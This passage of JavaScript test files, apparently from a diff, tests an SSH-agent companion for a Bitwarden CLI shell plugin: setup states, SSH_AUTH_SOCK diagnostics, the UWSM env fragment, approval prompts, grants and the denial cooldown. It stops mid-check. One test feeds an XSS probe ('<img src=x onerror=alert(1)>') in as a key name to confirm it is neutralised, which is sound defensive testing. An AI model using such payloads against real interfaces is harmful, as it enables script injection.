eq("off is disabled", state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).state,
"disabled")
eq("off while a helper still winds down is still disabled",
state({ enabled: false, supervisable: false, phase: "restarting", errorCode: "MALFORMED" }).state, "disabled")
check("disabled reports no error",
state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).message.length > 0,
"no message")
const running = state({ enabled: true, supervisable: true, phase: "ready", errorCode: "" })
eq("a completed handshake is enabled", running.state, "enabled")
eq("a running helper is not busy", running.busy, false)
for (const phase of ["starting", "handshaking"]) {
const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "" })
eq(`${phase} is still the enabled state`, s.state, "enabled")
eq(`${phase} reports as busy`, s.busy, true)
}
for (const phase of ["backoff", "restarting"]) {
const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "EXITED" })
eq(`${phase} after a failure is an error`, s.state, "error")
}
const crashed = state({ enabled: true, supervisable: true, phase: "failed", errorCode: "CRASH_LOOP" })
eq("a crash loop is an error", crashed.state, "error")
check("a crash loop explains itself", crashed.message.indexOf("keeps failing") >= 0, crashed.message)
// XDG_RUNTIME_DIR is the one thing the companion genuinely cannot do without,
// and the design says refuse rather than fall back to a guessable path.
const noRuntime = state({ enabled: true, supervisable: false, phase: "disabled", errorCode: "" })
eq("enabled with no runtime directory is an error", noRuntime.state, "error")
check("the runtime-directory error names the cause",
/runtime directory/i.test(noRuntime.message), noRuntime.message)
// -------------------------------------------------------------------------
// Client routing is never a setup state
// -------------------------------------------------------------------------
const routingIrrelevant = ["/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", "/run/user/1000/gcr/ssh", ""]
for (const sock of routingIrrelevant) {
const s = state({
enabled: true, supervisable: true, phase: "ready", errorCode: "", sshAuthSock: sock
})
eq(`SSH_AUTH_SOCK=${JSON.stringify(sock)} does not change the setup state`, s.state, "enabled")
}
// -------------------------------------------------------------------------
// SSH_AUTH_SOCK is advisory, and says which agent the session actually has
// -------------------------------------------------------------------------
const RT = "/run/user/1000"
const ours = Model.sshAgentSocketPath(RT)
eq("the socket path is deterministic", ours, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
eq("no runtime directory means no socket path", Model.sshAgentSocketPath(""), "")
eq("a relative runtime directory means no socket path", Model.sshAgentSocketPath("run/user/1000"), "")
const diag = (sock, rt) => Model.sshAuthSockDiagnostic(sock, rt === undefined ? RT : rt)
eq("a matching socket is reported as matching", diag(ours).state, "matches")
eq("an unset socket is reported as unset", diag("").state, "unset")
eq("an undefined socket is reported as unset", diag(undefined).state, "unset")
eq("a different socket points elsewhere", diag("/run/user/1000/gcr/ssh").state, "elsewhere")
const owners = [
["/run/user/1000/gcr/ssh", "GNOME Keyring"],
["/run/user/1000/keyring/ssh", "GNOME Keyring"],
["/home/u/.1password/agent.sock", "1Password"],
["/run/user/1000/gnupg/S.gpg-agent.ssh", "GPG Agent"],
["/run/user/1000/.bitwarden-ssh-agent.sock", "Bitwarden Desktop"],
["/tmp/ssh-XXhqZ3kR/agent.4242", "OpenSSH ssh-agent"]
]
for (const [sock, owner] of owners) {
const d = diag(sock)
eq(`${sock} is attributed to ${owner}`, d.owner, owner)
eq(`${sock} points elsewhere`, d.state, "elsewhere")
check(`${sock} names its owner in the message`, d.message.indexOf(owner) >= 0, d.message)
}
const unknownOwner = diag("/some/other/agent.sock")
eq("an unrecognised socket still points elsewhere", unknownOwner.state, "elsewhere")
check("an unrecognised socket is not attributed to anyone",
unknownOwner.owner === "", unknownOwner.owner)
// The panel only sees the graphical session's environment. Anything it says
// about routing has to be offered as a hint the user can check themselves.
for (const sock of [ours, "", "/run/user/1000/gcr/ssh"]) {
const d = diag(sock)
check(`the ${d.state} diagnostic offers the terminal check`,
d.terminalCheck === Model.sshAuthSockTerminalCheck(), d.terminalCheck)
check(`the ${d.state} diagnostic never claims to be authoritative`,
!/\b(must|required|cannot start|will not start)\b/i.test(d.message), d.message)
}
check("the terminal check is the documented one",
Model.sshAuthSockTerminalCheck().indexOf("ssh-add -L") >= 0
&& Model.sshAuthSockTerminalCheck().indexOf("SSH_AUTH_SOCK") >= 0,
Model.sshAuthSockTerminalCheck())
// With no runtime directory there is nothing to compare against, so the
// diagnostic must not claim the session points somewhere wrong.
eq("no runtime directory yields no verdict", diag(ours, "").state, "unknown")
// -------------------------------------------------------------------------
// The managed UWSM fragment, exercised against a real filesystem
// -------------------------------------------------------------------------
const os = require("os")
const { spawnSync } = require("child_process")
const FRAGMENT_REL = ".config/uwsm/env.d/50-qs-bitwarden-ssh-agent"
check("the display path is the documented one",
Model.uwsmFragmentDisplayPath() === "~/" + FRAGMENT_REL, Model.uwsmFragmentDisplayPath())
const content = Model.uwsmFragmentContent()
check("the fragment exports SSH_AUTH_SOCK",
content.indexOf('export SSH_AUTH_SOCK=') >= 0, content)
check("the fragment defers XDG_RUNTIME_DIR to login time",
content.indexOf('${XDG_RUNTIME_DIR}') >= 0, content)
check("the fragment marks itself as plugin-owned",
/qs-bitwarden-cli/.test(content) && /^#/m.test(content), content)
function inTempHome(fn) {
const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-uwsm-"))
try { return fn(home) } finally { fs.rmSync(home, { recursive: true, force: true }) }
}
const run = (cmd, home) =>
spawnSync(cmd[0], cmd.slice(1), { env: { HOME: home, PATH: "/usr/bin:/bin" }, encoding: "utf8" })
const inspect = home => Model.parseUwsmInspection(run(Model.uwsmInspectCommand(), home).stdout)
const fragmentAt = home => path.join(home, FRAGMENT_REL)
inTempHome(home => {
eq("a fresh home has no fragment", inspect(home).state, "absent")
const written = run(Model.uwsmWriteCommand(), home)
eq("writing a fresh fragment succeeds", Model.parseUwsmActionResult(written.status, written.stdout).ok, true)
eq("the fragment is now recognised as managed", inspect(home).state, "managed")
eq("the file holds exactly the managed content",
fs.readFileSync(fragmentAt(home), "utf8"), content)
const mode = fs.statSync(fragmentAt(home)).mode & 0o777
check("the fragment is not writable by group or other", (mode & 0o022) === 0, mode.toString(8))
const dirMode = fs.statSync(path.dirname(fragmentAt(home))).mode & 0o777
check("the created parent is not writable by group or other", (dirMode & 0o022) === 0, dirMode.toString(8))
const again = run(Model.uwsmWriteCommand(), home)
eq("rewriting an identical fragment is not an error",
Model.parseUwsmActionResult(again.status, again.stdout).ok, true)
const removed = run(Model.uwsmRemoveCommand(), home)
eq("removing a managed fragment succeeds", Model.parseUwsmActionResult(removed.status, removed.stdout).ok, true)
check("the fragment is gone", !fs.existsSync(fragmentAt(home)), "still present")
eq("removal leaves the state absent", inspect(home).state, "absent")
const removeAgain = run(Model.uwsmRemoveCommand(), home)
eq("removing an absent fragment is not an error",
Model.parseUwsmActionResult(removeAgain.status, removeAgain.stdout).ok, true)
})
// Somebody else's file at the managed path is never replaced or deleted.
inTempHome(home => {
fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true })
const foreign = 'export SSH_AUTH_SOCK="/run/user/1000/my-own-agent.sock"\n'
fs.writeFileSync(fragmentAt(home), foreign)
const state = inspect(home)
eq("hand-written content is recognised as foreign", state.state, "foreign")
eq("foreign content is not offered for removal", state.removable, false)
check("foreign content comes with cleanup instructions",
state.message.indexOf(Model.uwsmFragmentDisplayPath()) >= 0, state.message)
const written = run(Model.uwsmWriteCommand(), home)
const outcome = Model.parseUwsmActionResult(written.status, written.stdout)
eq("writing refuses to replace foreign content", outcome.ok, false)
eq("the refusal is reported as a conflict", outcome.code, "FOREIGN")
eq("the foreign file is untouched", fs.readFileSync(fragmentAt(home), "utf8"), foreign)
const removed = run(Model.uwsmRemoveCommand(), home)
eq("removal refuses to delete foreign content",
Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false)
eq("the foreign file survives removal", fs.readFileSync(fragmentAt(home), "utf8"), foreign)
})
// A symlink at the managed path is refused outright rather than followed: it
// would otherwise be an arbitrary-write primitive into whatever it targets.
inTempHome(home => {
const target = path.join(home, "target-file")
fs.writeFileSync(target, "original\n")
fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true })
fs.symlinkSync(target, fragmentAt(home))
eq("a symlink is recognised as a symlink", inspect(home).state, "symlink")
eq("a symlink is not offered for removal", inspect(home).removable, false)
const written = run(Model.uwsmWriteCommand(), home)
const outcome = Model.parseUwsmActionResult(written.status, written.stdout)
eq("writing refuses to follow a symlink", outcome.ok, false)
eq("the symlink refusal has its own code", outcome.code, "SYMLINK")
eq("the symlink target is untouched", fs.readFileSync(target, "utf8"), "original\n")
check("the symlink itself is untouched", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "no longer a symlink")
const removed = run(Model.uwsmRemoveCommand(), home)
eq("removal refuses to follow a symlink",
Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false)
check("the symlink survives removal", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "removed")
eq("the symlink target survives removal", fs.readFileSync(target, "utf8"), "original\n")
})
// A directory at the managed path is not a fragment either.
inTempHome(home => {
fs.mkdirSync(fragmentAt(home), { recursive: true })
eq("a directory at the path is foreign", inspect(home).state, "foreign")
eq("writing refuses a directory",
Model.parseUwsmActionResult(run(Model.uwsmWriteCommand(), home).status, "").ok, false)
})
// No HOME is a refusal, not a write into an unexpected place.
{
const noHome = spawnSync("bash", Model.uwsmInspectCommand().slice(1),
{ env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" })
eq("no HOME is reported rather than guessed", Model.parseUwsmInspection(noHome.stdout).state, "no-home")
const w = spawnSync("bash", Model.uwsmWriteCommand().slice(1),
{ env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" })
eq("writing without HOME fails closed", Model.parseUwsmActionResult(w.status, w.stdout).ok, false)
}
// Every outcome the panel can show has to say a logout is what applies it.
for (const [status, out] of [[0, "written\n"]]) {
const r = Model.parseUwsmActionResult(status, out)
check("a successful write tells the user to log out and back in",
/log ?out/i.test(r.message) && /log ?in/i.test(r.message), r.message)
check("a successful write explicitly rules out a shell restart",
/restart\w*\s+the\s+shell\s+is\s+not\s+enough/i.test(r.message), r.message)
}
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-setup: ${pass} passed`)
@@ -0,0 +1,720 @@
#!/usr/bin/env node
// The approval prompt is the one place a user is asked to authorise a
// signature, so what it shows has to be accurate about what the companion
// actually verified -- and what it did not. These tests cover the prompt's
// presentation, the deny/approve/grant control lines, the denial cooldown
// that stops a same-UID process reopening the panel forever, and the rule
// that no prompt is ever raised over a locked screen.
//
// node tests/ssh-agent-ui.test.js
const fs = require("fs")
const path = require("path")
const repoRoot = path.join(__dirname, "..")
const Model = {}
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseAgentEvent = parseAgentEvent
exports.sshAgentApproveLine = sshAgentApproveLine
exports.sshAgentDenyLine = sshAgentDenyLine
exports.sshAgentUnlockCancelledLine = sshAgentUnlockCancelledLine
exports.sshAgentRevokeGrantLine = sshAgentRevokeGrantLine
exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine
exports.sshAgentPromptView = sshAgentPromptView
exports.sshAgentGrantViews = sshAgentGrantViews
exports.sshAgentGrantsAt = sshAgentGrantsAt
exports.sshAgentDevelopmentHelperWarning = sshAgentDevelopmentHelperWarning
exports.sshAgentRoutingNotice = sshAgentRoutingNotice
exports.pluginDataRemoveCommand = pluginDataRemoveCommand
exports.parsePluginDataRemoval = parsePluginDataRemoval
exports.sshAgentShouldPrompt = sshAgentShouldPrompt
exports.sshAgentCooldownInitial = sshAgentCooldownInitial
exports.sshAgentCooldownAfter = sshAgentCooldownAfter
exports.sshAgentCooldownActive = sshAgentCooldownActive
exports.sshAgentCooldownStatus = sshAgentCooldownStatus
exports.sshAgentLoadingNote = sshAgentLoadingNote
exports.sshAgentOptionsLine = sshAgentOptionsLine
exports.sshAgentRequestDeadlineMs = sshAgentRequestDeadlineMs
exports.sshAgentEnqueuePrompt = sshAgentEnqueuePrompt
exports.sshAgentDequeuePrompt = sshAgentDequeuePrompt
exports.sshAgentRemovePrompt = sshAgentRemovePrompt
exports.sshAgentPendingCount = sshAgentPendingCount
exports.plainLabel = plainLabel
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const eq = (label, actual, expected) =>
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
// -------------------------------------------------------------------------
// The companion's new messages must survive the bounded reader
// -------------------------------------------------------------------------
for (const [type, body] of [
["unlock_required", { requestId: 41, reason: "sign", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh" }],
["approval_required", { requestId: 42, keyId: "k", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh", operation: "ssh-sign", forwarded: false, grantOffered: true }],
["request_cancelled", { requestId: 42, reason: "withdrawn" }],
["grants_changed", { grants: [] }]
]) {
const parsed = Model.parseAgentEvent(JSON.stringify(Object.assign({ v: 1, type: type }, body)))
eq(`${type} parses`, parsed.ok, true)
eq(`${type} keeps its type`, parsed.ok && parsed.message.type, type)
}
// -------------------------------------------------------------------------
// Control lines
// -------------------------------------------------------------------------
eq("approve once carries a zero window", Model.sshAgentApproveLine(42, 0),
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n")
eq("approve for a process carries its window", Model.sshAgentApproveLine(42, 120),
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 120 }) + "\n")
eq("a grant window is clamped to the documented cap", Model.sshAgentApproveLine(42, 99999),
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 900 }) + "\n")
eq("a negative window approves once instead", Model.sshAgentApproveLine(42, -5),
JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n")
eq("deny is a versioned v1 line", Model.sshAgentDenyLine(42),
JSON.stringify({ v: 1, type: "deny", requestId: 42 }) + "\n")
eq("a dismissed unlock is reported as user-cancelled", Model.sshAgentUnlockCancelledLine(41),
JSON.stringify({ v: 1, type: "unlock_cancelled", requestId: 41, reason: "user-cancelled" }) + "\n")
// The companion cannot read shell.json, so the panel has to tell it.
eq("unlock-on-demand is sent to the companion", Model.sshAgentOptionsLine(true),
JSON.stringify({ v: 1, type: "options", unlockOnDemand: true }) + "\n")
eq("and its default off state is sent too", Model.sshAgentOptionsLine(false),
JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n")
eq("anything that is not true is off", Model.sshAgentOptionsLine(undefined),
JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n")
eq("a single grant is revoked by id", Model.sshAgentRevokeGrantLine(9),
JSON.stringify({ v: 1, type: "revoke_grant", grantId: 9 }) + "\n")
eq("an invalid request id yields no line", Model.sshAgentApproveLine("nope", 0), "")
eq("an invalid grant id yields no line", Model.sshAgentRevokeGrantLine(-1), "")
// -------------------------------------------------------------------------
// What the prompt shows
// -------------------------------------------------------------------------
const request = {
v: 1, type: "approval_required", requestId: 42, keyId: "item-1",
keyName: "personal ed25519", fingerprint: "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0",
pid: 48213, processPath: "/usr/bin/ssh", operation: "ssh-sign",
forwarded: false, grantOffered: true
}
const view = Model.sshAgentPromptView(request, 120)
eq("the prompt names the key", view.keyName, "personal ed25519")
eq("the prompt shows the full fingerprint", view.fingerprint, "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0")
eq("the prompt shows the executable path", view.processPath, "/usr/bin/ssh")
eq("the prompt derives the process name from the path", view.processName, "ssh")
eq("the prompt shows the pid", view.pid, 48213)
eq("the prompt offers a grant", view.grantOffered, true)
check("the grant button states its window", /2m|120/.test(view.grantLabel), view.grantLabel)
// A grant covers one program, not one process (docs/decisions/0002-grant-scope.md).
// The button has to say so, or it promises a narrower thing than it does.
check("the grant button says what it actually covers",
/program/i.test(view.grantLabel) && !/this process/i.test(view.grantLabel), view.grantLabel)
// The companion verifies the peer UID and nothing else. Saying so on the
// prompt is the difference between context and a claim of identity.
check("the prompt says process details are not verified",
/not verified|reported/i.test(view.provenanceNote), view.provenanceNote)
check("the prompt never calls the process trusted or verified",
!/\b(verified|authenticated|trusted) (process|by)\b/i.test(view.provenanceNote), view.provenanceNote)
// A zero window means grants are off, so the button must not be offered.
const noGrant = Model.sshAgentPromptView(request, 0)
eq("a zero window offers no grant", noGrant.grantOffered, false)
const refusedGrant = Model.sshAgentPromptView(Object.assign({}, request, { grantOffered: false }), 120)
eq("a companion that offers no grant is respected", refusedGrant.grantOffered, false)
// Forwarding is rejected in v1; if one ever arrives it is called out, not
// shown as ordinary context.
const forwarded = Model.sshAgentPromptView(Object.assign({}, request, { forwarded: true }), 120)
check("a forwarded request is flagged", forwarded.forwardedWarning.length > 0, forwarded.forwardedWarning)
eq("a forwarded request offers no grant", forwarded.grantOffered, false)
eq("an ordinary request has no forwarding warning", view.forwardedWarning, "")
// A vault item's name is attacker-controllable by whoever shares the
// collection it came from, and the process path comes from outside too.
const hostile = Model.sshAgentPromptView(Object.assign({}, request, {
keyName: "<img src=x onerror=alert(1)>",
processPath: "/usr/bin/<b>ssh</b>"
}), 120)
check("a markup key name cannot reach a rich-text control",
Model.plainLabel(hostile.keyName).indexOf("<img") < 0, Model.plainLabel(hostile.keyName))
check("a hostile name is not silently dropped",
hostile.keyName.length > 0, hostile.keyName)
const huge = Model.sshAgentPromptView(Object.assign({}, request, {
keyName: "n".repeat(5000), processPath: "/" + "p".repeat(5000)
}), 120)
check("an absurd key name is bounded", huge.keyName.length <= 256, String(huge.keyName.length))
check("an absurd path is bounded", huge.processPath.length <= 512, String(huge.processPath.length))
// The panel's countdown has to agree with the companion's deadline, or it
// counts down to a moment nothing happens at. See
// docs/decisions/0003-request-deadline.md for the figure.
eq("the request deadline matches the companion's", Model.sshAgentRequestDeadlineMs(), 120000)
const agentSrc = fs.readFileSync(path.join(repoRoot, "agent", "src", "approvals.rs"), "utf8")
const agentDeadline = /pub const REQUEST_LIFETIME_MS: u64 = ([0-9_]+);/.exec(agentSrc)
check("the panel and the companion agree on it",
agentDeadline && Number(agentDeadline[1].replace(/_/g, "")) === Model.sshAgentRequestDeadlineMs(),
agentDeadline ? agentDeadline[1] : "REQUEST_LIFETIME_MS not found")
// -------------------------------------------------------------------------
// Grants
// -------------------------------------------------------------------------
const grants = Model.sshAgentGrantViews([
{ grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 95 },
{ grantId: 10, keyName: "work rsa", fingerprint: "SHA256:y", pid: 5, processPath: "/usr/bin/git", expiresInSec: 0 }
])
eq("every grant is listed", grants.length, 2)
eq("a grant keeps its id", grants[0].grantId, 9)
eq("a grant names its process", grants[0].processName, "ssh")
check("a grant states its remaining time", /1m 35s|95/.test(grants[0].remainingLabel), grants[0].remainingLabel)
check("an expiring grant says so", grants[1].remainingLabel.length > 0, grants[1].remainingLabel)
check("no grant view carries key material",
grants.every(g => JSON.stringify(g).indexOf("PRIVATE") < 0), "leaked")
eq("a malformed grant list yields nothing", Model.sshAgentGrantViews(null).length, 0)
// A grant is announced once and then nothing is said until it changes, so the
// remaining time has to be re-derived rather than remembered. Without this the
// settings screen showed "1m 59s left" for the whole two minutes and then the
// row disappeared, having never counted down.
const announced = Model.sshAgentGrantViews(
[{ grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 120 }],
10_000)
eq("an announced grant records when it expires", announced[0].expiresAtMs, 130_000)
const halfway = Model.sshAgentGrantsAt(announced, 70_000)
eq("the remaining time follows the clock", halfway[0].remainingSec, 60)
check("and the label follows it", /1m/.test(halfway[0].remainingLabel), halfway[0].remainingLabel)
eq("a lapsed grant leaves the list without waiting to be told",
Model.sshAgentGrantsAt(announced, 130_001).length, 0)
eq("a grant on its last second is still listed",
Model.sshAgentGrantsAt(announced, 129_500).length, 1)
eq("an unstamped view survives re-derivation rather than vanishing",
Model.sshAgentGrantsAt([{ grantId: 9, remainingLabel: "2m left" }], 70_000).length, 1)
eq("and so does every view before the first tick",
Model.sshAgentGrantsAt(announced, 0).length, 1)
eq("a malformed set re-derives to nothing", Model.sshAgentGrantsAt(null, 1).length, 0)
// A development helper is a state you can sit in for days without noticing,
// signing with a binary that has no recorded digest and no provenance. The
// warning has to say why that matters, and distinguish a shipped helper that
// was rejected from one that was simply never there.
const rejected = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "mismatch" })
check("a rejected shipped helper is named as the reason", /checksum/i.test(rejected), rejected)
const absent = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "unchecked" })
check("an absent one is not blamed on a checksum", !/checksum/i.test(absent), absent)
for (const [label, text] of [["rejected", rejected], ["absent", absent]]) {
check(`the ${label} warning says what is serving keys`, /locally built/i.test(text), text)
check(`the ${label} warning says what it lacks`, /provenance|digest/i.test(text), text)
check(`the ${label} warning says how to fix it`, /reinstall/i.test(text), text)
check(`the ${label} warning does not answer a user with a build command`,
!/build-agent|cargo/.test(text), text)
}
check("a missing helper record does not throw",
typeof Model.sshAgentDevelopmentHelperWarning(null) === "string", "threw or returned non-string")
// -------------------------------------------------------------------------
// Never prompt over a locked screen
// -------------------------------------------------------------------------
eq("an ordinary desktop prompts", Model.sshAgentShouldPrompt({ screenLocked: false }), true)
eq("a locked screen never prompts", Model.sshAgentShouldPrompt({ screenLocked: true }), false)
eq("an unknown screen state does not prompt", Model.sshAgentShouldPrompt(null), false)
// -------------------------------------------------------------------------
// Denial cooldown
// -------------------------------------------------------------------------
let cool = Model.sshAgentCooldownInitial()
eq("nothing is on cooldown to begin with", Model.sshAgentCooldownActive(cool, 0), false)
cool = Model.sshAgentCooldownAfter(cool, "denied", 1000)
eq("one denial does not start a cooldown", Model.sshAgentCooldownActive(cool, 1000), false)
cool = Model.sshAgentCooldownAfter(cool, "denied", 2000)
eq("two consecutive denials start one", Model.sshAgentCooldownActive(cool, 2000), true)
eq("the cooldown ends on its own", Model.sshAgentCooldownActive(cool, 2000 + 10 * 60 * 1000), false)
// A timeout is a denial for this purpose: the user saw it and did nothing.
let timedOut = Model.sshAgentCooldownInitial()
timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 0)
timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 100)
eq("two timeouts also start a cooldown", Model.sshAgentCooldownActive(timedOut, 100), true)
// Approving clears the history: the user is engaging, not being pestered.
let mixed = Model.sshAgentCooldownInitial()
mixed = Model.sshAgentCooldownAfter(mixed, "denied", 0)
mixed = Model.sshAgentCooldownAfter(mixed, "approved", 100)
mixed = Model.sshAgentCooldownAfter(mixed, "denied", 200)
eq("an approval resets the denial run", Model.sshAgentCooldownActive(mixed, 200), false)
// An approval cannot end a cooldown that is already running -- the cooldown is
// precisely what stops the prompt an approval would answer. Only an explicit
// resume ends it early; otherwise a user who dismissed two prompts waits out
// the full five minutes with nothing they can do about it.
let stuck = Model.sshAgentCooldownInitial()
stuck = Model.sshAgentCooldownAfter(stuck, "denied", 0)
stuck = Model.sshAgentCooldownAfter(stuck, "denied", 100)
eq("two denials leave a cooldown running", Model.sshAgentCooldownActive(stuck, 100), true)
stuck = Model.sshAgentCooldownAfter(stuck, "resumed", 200)
eq("an explicit resume ends it at once", Model.sshAgentCooldownActive(stuck, 200), false)
eq("and clears the run behind it, so one later denial does not re-arm it",
Model.sshAgentCooldownActive(Model.sshAgentCooldownAfter(stuck, "denied", 300), 300), false)
// Nothing the requesting process does may end a cooldown, or prolong one: the
// suppressed path answers the client itself and records no outcome, so only
// prompts a person actually saw ever feed the run.
let unattended = Model.sshAgentCooldownInitial()
unattended = Model.sshAgentCooldownAfter(unattended, "denied", 0)
unattended = Model.sshAgentCooldownAfter(unattended, "denied", 100)
eq("an unanswered request leaves the window where it was",
Model.sshAgentCooldownAfter(unattended, "withdrawn", 200).untilMs, unattended.untilMs)
eq("and the cooldown lapses on its own",
Model.sshAgentCooldownActive(unattended, 100 + 5 * 60 * 1000), false)
// A cooldown that fails signatures silently is worse than the pestering it
// prevents: SSH just stops working for five minutes with no explanation
// anywhere. It has to say so, and say when it lifts.
let cooled = Model.sshAgentCooldownInitial()
const quiet = Model.sshAgentCooldownStatus(cooled, 0)
eq("nothing is reported while no cooldown is running", quiet.active, false)
eq("a quiet cooldown has no message", quiet.message, "")
cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0)
cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0)
const cooling = Model.sshAgentCooldownStatus(cooled, 0)
eq("an active cooldown is reported", cooling.active, true)
check("it says SSH requests are being refused",
/refus|declin/i.test(cooling.message), cooling.message)
check("it says when it lifts", /\d/.test(cooling.message), cooling.message)
eq("it reports the remaining time", cooling.remainingSec, 300)
check("the remaining time counts down",
Model.sshAgentCooldownStatus(cooled, 60000).remainingSec === 240,
String(Model.sshAgentCooldownStatus(cooled, 60000).remainingSec))
eq("it clears itself when the window passes",
Model.sshAgentCooldownStatus(cooled, 5 * 60 * 1000).active, false)
check("the status never names a key or a process",
cooling.message.indexOf("ssh-") < 0 && cooling.message.indexOf("/usr/") < 0, cooling.message)
// Unlocking runs one `bw list items`, which takes seconds on a real vault.
// The request that triggered the unlock is held across it, so without a
// loading state the user unlocks and then watches nothing happen.
const waiting = Model.sshAgentPromptView(Object.assign({}, request, { type: "unlock_required" }), 120)
check("a held request can say it is still loading",
typeof Model.sshAgentLoadingNote === "function", "no loading note is available")
if (typeof Model.sshAgentLoadingNote === "function") {
const note = Model.sshAgentLoadingNote()
check("the loading note says keys are on the way", /load/i.test(note), note)
check("the loading note does not promise it is instant",
!/instant|immediat/i.test(note), note)
}
// -------------------------------------------------------------------------
// The panel wiring
// -------------------------------------------------------------------------
// Every file the SSH markup lives in: the settings sections and the approval
// screen have their own, and Panel.qml keeps the rest. Reading only the first
// would leave every "this must NOT appear" check below passing on content that
// had simply moved.
const sshUiFiles = [
"Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml",
"SshApprovalPopup.qml", "SshUnlockScreen.qml"
]
const panelSrc = sshUiFiles
.map(file => fs.existsSync(path.join(repoRoot, file))
? fs.readFileSync(path.join(repoRoot, file), "utf8") : "")
.join("\n")
const approvalSrc = fs.readFileSync(path.join(repoRoot, "SshApprovalScreen.qml"), "utf8")
const settingsSrc = fs.readFileSync(path.join(repoRoot, "SshAgentSettings.qml"), "utf8")
const popupSrc = fs.existsSync(path.join(repoRoot, "SshApprovalPopup.qml"))
? fs.readFileSync(path.join(repoRoot, "SshApprovalPopup.qml"), "utf8") : ""
const unlockSrc = fs.existsSync(path.join(repoRoot, "SshUnlockScreen.qml"))
? fs.readFileSync(path.join(repoRoot, "SshUnlockScreen.qml"), "utf8") : ""
// plainLabel() wraps its argument in a span when the text contains markup
// characters, which a PlainText control then renders literally. The field is
// matched with whatever object it hangs off, because the settings sections
// reach the panel as `panel` and the screens as `root`: pinning the prefix
// would let these checks pass on content that had only moved between files.
for (const field of [
"sshAgentVersion",
"modelData.keyName",
"modelData.processName",
"sshUnlockRequest.keyName",
"sshUnlockRequest.processName",
"sshPrompt.keyName",
"sshPrompt.processName",
"sshPrompt.processPath",
"sshRouting.owner"
]) {
const wrapped = new RegExp(
"plainLabel\\(\\s*(?:root|panel|section\\.panel)?\\.?"
+ field.replace(/\./g, "\\.") + "\\s*\\)")
check("SSH PlainText labels do not receive rich-text wrappers for " + field,
!wrapped.test(panelSrc), field)
}
check("there is a dedicated approval screen",
/currentScreen === "sshApproval"/.test(panelSrc), "no sshApproval screen")
check("an approval_required message raises the prompt",
/message\.type === "approval_required"[\s\S]{0,600}?showSshApproval\(message\)/.test(panelSrc),
"approval_required never raises the prompt")
// Opening the panel sends an unlocked one to the item list, so a prompt that
// claimed the screen first would be silently undone -- live state, blank
// screen. Both halves of that ordering are pinned here because the failure is
// invisible: everything reports healthy while nothing is drawn.
check("the legacy panel is opened before its approval screen is claimed",
/function showSshApproval\(message\)[\s\S]{0,1200}?sshAgentApprovalPopup[\s\S]{0,400}?return[\s\S]{0,600}?root\.open\(\)[\s\S]{0,200}?currentScreen = "sshApproval"/.test(panelSrc),
"the screen is claimed before opening, so opening resets it")
// Pinned on the ordering rather than on a character distance: what matters is
// that a live prompt claims the screen and returns before the branch that
// would send an unlocked panel to the item list, not how much housekeeping
// happens above it.
const openedBody = panelSrc.slice(panelSrc.indexOf("function onPanelOpened()"),
panelSrc.indexOf("function onPanelClosed") > 0
? panelSrc.indexOf("function onPanelClosed")
: panelSrc.indexOf("function onPanelOpened()") + 2000)
check("opening the panel does not discard a live request",
/if \(sshPrompt\)[\s\S]{0,160}?currentScreen = "sshApproval"[\s\S]{0,40}?return/.test(openedBody)
&& openedBody.indexOf("sshPrompt") < openedBody.indexOf('status === "unlocked"'),
"onPanelOpened resets away from a live prompt")
check("a withdrawn prompt counts toward the cooldown",
/message\.reason !== "released"[\s\S]{0,200}?sshAgentCooldownAfter\(root\.sshCooldown, "timeout"/.test(panelSrc),
"an unanswered prompt never feeds the cooldown")
// The panel resets currentScreen in several of its own flows -- opening the
// panel, finishing an unlock -- each of which silently dropped a live prompt
// before. Screen visibility binds to activeScreen, which a live request wins,
// so no later assignment can hide a question a client is blocked on.
check("a live prompt outranks navigation state",
/readonly property string activeScreen: sshPrompt !== null && !sshAgentApprovalPopup \? "sshApproval" : currentScreen/.test(panelSrc),
"no activeScreen; a stray currentScreen assignment can hide the prompt")
check("no screen visibility still binds to currentScreen directly",
